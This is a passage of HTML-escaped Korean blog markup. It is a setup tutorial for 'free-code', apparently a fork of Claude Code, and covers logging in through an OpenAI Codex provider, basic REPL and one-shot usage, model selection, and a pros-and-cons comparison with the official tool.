echo 'export PATH=&quot;$HOME/.local/bin:$PATH&quot;' &amp;gt;&amp;gt; ~/.bashrc&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.5 첫 실행 전에 확인할 것&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;확인 항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;왜 보나&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code&lt;/code&gt;가 PATH에서 잡히는가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;command -v free-code&lt;/code&gt;로 확인한다. 링크가 안 잡히면 이후 단계가 모두 꼬인다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;cli-dev&lt;/code&gt;가 실제 생성됐는가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;ls -l ./cli-dev&lt;/code&gt;로 확인한다. build:dev:full이 끝났는지 보는 가장 빠른 방법이다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지금 Anthropic 경로로 갈지, Codex 경로로 갈지&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이후 로그인 방식이 달라진다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 자체보다 provider 선택이 먼저다. 환경변수 하나로 인증 흐름이 완전히 달라진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 로그인/인증 방법 &amp;mdash; Codex 경로 기준으로 보면 이렇게 간다&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README는 로그인 예시로 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;./cli /login&lt;/code&gt;을 제시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 여기서 중요한 건 provider마다 인증 흐름이 다르다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 OpenAI Codex 경로&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex provider는 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_USE_OPENAI=1&lt;/code&gt;을 켠 상태에서 로그인하는 구조다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export CLAUDE_CODE_USE_OPENAI=1
./cli-dev /login&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;gt; export CLAUDE_CODE_USE_OPENAI=1&lt;br /&gt;&amp;nbsp;&amp;gt; free-code /login&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;480&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3JgwY/dJMcacCJ5M6/pu01ga0lzYKKZvCetfqYBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3JgwY/dJMcacCJ5M6/pu01ga0lzYKKZvCetfqYBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3JgwY/dJMcacCJ5M6/pu01ga0lzYKKZvCetfqYBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3JgwY%2FdJMcacCJ5M6%2Fpu01ga0lzYKKZvCetfqYBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1956&quot; height=&quot;480&quot; data-origin-width=&quot;1956&quot; data-origin-height=&quot;480&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Codex account 를 사용해보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;912&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WThYN/dJMb990kWf1/oOetL51e9KoFqerA6KbcN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WThYN/dJMb990kWf1/oOetL51e9KoFqerA6KbcN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WThYN/dJMb990kWf1/oOetL51e9KoFqerA6KbcN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWThYN%2FdJMb990kWf1%2FoOetL51e9KoFqerA6KbcN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1672&quot; height=&quot;912&quot; data-origin-width=&quot;1672&quot; data-origin-height=&quot;912&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 브라우저를 통한 인증 완료&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;178&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/00K28/dJMcafTLoZc/mbUp8PTkBUa1xIpGXrLQAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/00K28/dJMcafTLoZc/mbUp8PTkBUa1xIpGXrLQAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/00K28/dJMcafTLoZc/mbUp8PTkBUa1xIpGXrLQAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F00K28%2FdJMcafTLoZc%2FmbUp8PTkBUa1xIpGXrLQAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;390&quot; height=&quot;84&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;178&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- cli에서도 인증 성공확인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;320&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pdtUv/dJMcacW0R97/qbIyrmLRIpJVWKNoX5g8Q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pdtUv/dJMcacW0R97/qbIyrmLRIpJVWKNoX5g8Q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pdtUv/dJMcacW0R97/qbIyrmLRIpJVWKNoX5g8Q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpdtUv%2FdJMcacW0R97%2FqbIyrmLRIpJVWKNoX5g8Q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;363&quot; height=&quot;141&quot; data-origin-width=&quot;824&quot; data-origin-height=&quot;320&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code&lt;/code&gt; 심볼릭 링크를 잡아둔 상태라면 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code /login&lt;/code&gt;으로 같은 작업을 할 수 있다. 중요한 건 로그인과 REPL 진입 순서를 한 번 정해두고 계속 같은 방식으로 쓰는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 기준으로는 OpenAI 브라우저 로그인 &amp;rarr; localhost:1455 콜백 &amp;rarr; PKCE token exchange의 흐름이다. auth handler는 이 토큰을 Anthropic API key로 바꾸지 않고, Codex 전용 슬롯에 따로 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Codex 경로는 Claude API key를 대신 꽂는 꼼수가 아니다.&lt;/b&gt; 완전히 별도 OAuth/provider 경로로 설계돼 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 Anthropic 인증과 충돌하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 실제 사용법 &amp;mdash; REPL, one-shot, provider 전환, 모델 선택&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;목적&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;명령&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대화형 REPL&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;./cli-dev&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;one-shot 실행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code -p &quot;what files are in this directory?&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델 지정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code --model gpt-5.3-codex&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로그인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code /login&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;./cli-dev /login&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;1030&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kUbmw/dJMcafTLpjf/KJ9hYGohxL3DSD3jffakE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kUbmw/dJMcafTLpjf/KJ9hYGohxL3DSD3jffakE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kUbmw/dJMcafTLpjf/KJ9hYGohxL3DSD3jffakE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkUbmw%2FdJMcafTLpjf%2FKJ9hYGohxL3DSD3jffakE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1876&quot; height=&quot;1030&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;1030&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Codex provider를 붙여 쓰고 싶다면 실전 흐름은 보통 이렇다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export CLAUDE_CODE_USE_OPENAI=1
free-code /login
free-code&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #fff8e1; border-left: 4px solid #f0a500; padding: 15px; margin: 0 0 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;중요: 새 터미널/새 세션에서는 다시 환경변수를 먼저 설정해야 한다&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;export CLAUDE_CODE_USE_OPENAI=1&lt;/code&gt;은 현재 셸 세션에만 적용된다. 즉 새 터미널을 열었거나 새 세션으로 다시 시작했다면, &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code&lt;/code&gt;를 실행하기 전에 이 값을 다시 export해야 한다. 이 단계가 빠지면 provider가 기본값(Anthropic)으로 잡혀 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/model&lt;/code&gt;에서 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;GPT-5.4&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;gpt-5.3-codex&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;gpt-5.4-mini&lt;/code&gt;가 보이지 않을 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음 모델을 직접 고를 수 있다. README와 model config 기준으로 현재 문서에서 직접 확인되는 후보는 세 가지다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;문서에서 확인되는 정보&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;gpt-5.3-codex&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;README에서 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;(recommended)&lt;/code&gt; 표기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;gpt-5.4&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OpenAI Codex provider 모델 ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;gpt-5.4-mini&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OpenAI Codex provider 모델 ID&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /model&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kFtya/dJMcaiCVoym/KLllbSyqCNxizYlpjYd8SK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kFtya/dJMcaiCVoym/KLllbSyqCNxizYlpjYd8SK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kFtya/dJMcaiCVoym/KLllbSyqCNxizYlpjYd8SK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkFtya%2FdJMcaiCVoym%2FKLllbSyqCNxizYlpjYd8SK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1400&quot; height=&quot;494&quot; data-origin-width=&quot;1400&quot; data-origin-height=&quot;494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #1a3a52; font-size: 20px; font-weight: 600; letter-spacing: -1px; font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;7.1 처음 시작하는 방법 정리&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 16px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code&lt;/code&gt;로 REPL에 들어간다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;OpenAI Codex를 쓸 경우 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_USE_OPENAI=1&lt;/code&gt; 상태에서 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code /login&lt;/code&gt; 또는 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;./cli-dev /login&lt;/code&gt;을 먼저 수행한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;로그인 뒤 &lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;free-code -p &quot;ping&quot;&lt;/code&gt;처럼 아주 짧은 one-shot 프롬프트로 CLI가 정상 응답하는지 확인한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;그 다음에야 긴 리팩터링이나 멀티파일 작업으로 넘어간다&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 직후 모델 품질 얘기는 나중에 해도 된다. 먼저 &lt;b&gt;로그인 상태, provider 선택, binary 링크&lt;/b&gt;가 제대로 맞물렸는지 확인하는 게 우선이다. 여기서 꼬이면 이후 단계가 전부 헷갈린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 소스코드 핵심 분석 &amp;mdash; 왜 이 포크가 &quot;도구&quot;로서 설득력이 있는가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;튜토리얼 글이라도 코드 구조는 짚어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 열어보면 README 약속이 실제로 구현돼 있다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/paoloanzn/free-code/main/src/utils/model/configs.ts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;src/utils/model/configs.ts&lt;/a&gt;에는 Claude 계열과 GPT 계열 config가 같이 등록돼 있고, OpenAI 쪽은 auth.openai.com 기반 PKCE client를 별도로 갖고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;build:dev:full&lt;/code&gt; 하나로 experimental bundle 전체를 켤 수 있는 것도 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안정성보다 provider 확장성과 실험 기능 접근성을 우선한 개발자용 포크다. 공식 배포판이 줄 수 없는 걸 원한다면 여기서 찾을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 장점과 단점 &amp;mdash; 공식 Claude Code와 비교하면&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;free-code 장점&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;free-code 단점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;provider 선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5개 provider 지원 (Anthropic, Codex, Bedrock, Vertex AI, Foundry)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;공식 지원 안정성은 기대하기 어렵다. 포크 특성상 각 provider 연동의 품질은 직접 테스트로 확인해야 한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;인증&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OpenAI OAuth 경로가 실제 코드로 존재하고, 다른 provider는 환경변수로 전환&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;provider별 로그인 상태를 직접 이해해야 한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기능 접근&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;36개 working experimental feature 활성화 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;bundle-clean이 runtime-safe를 뜻하지는 않는다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;설치&lt;/td&gt;
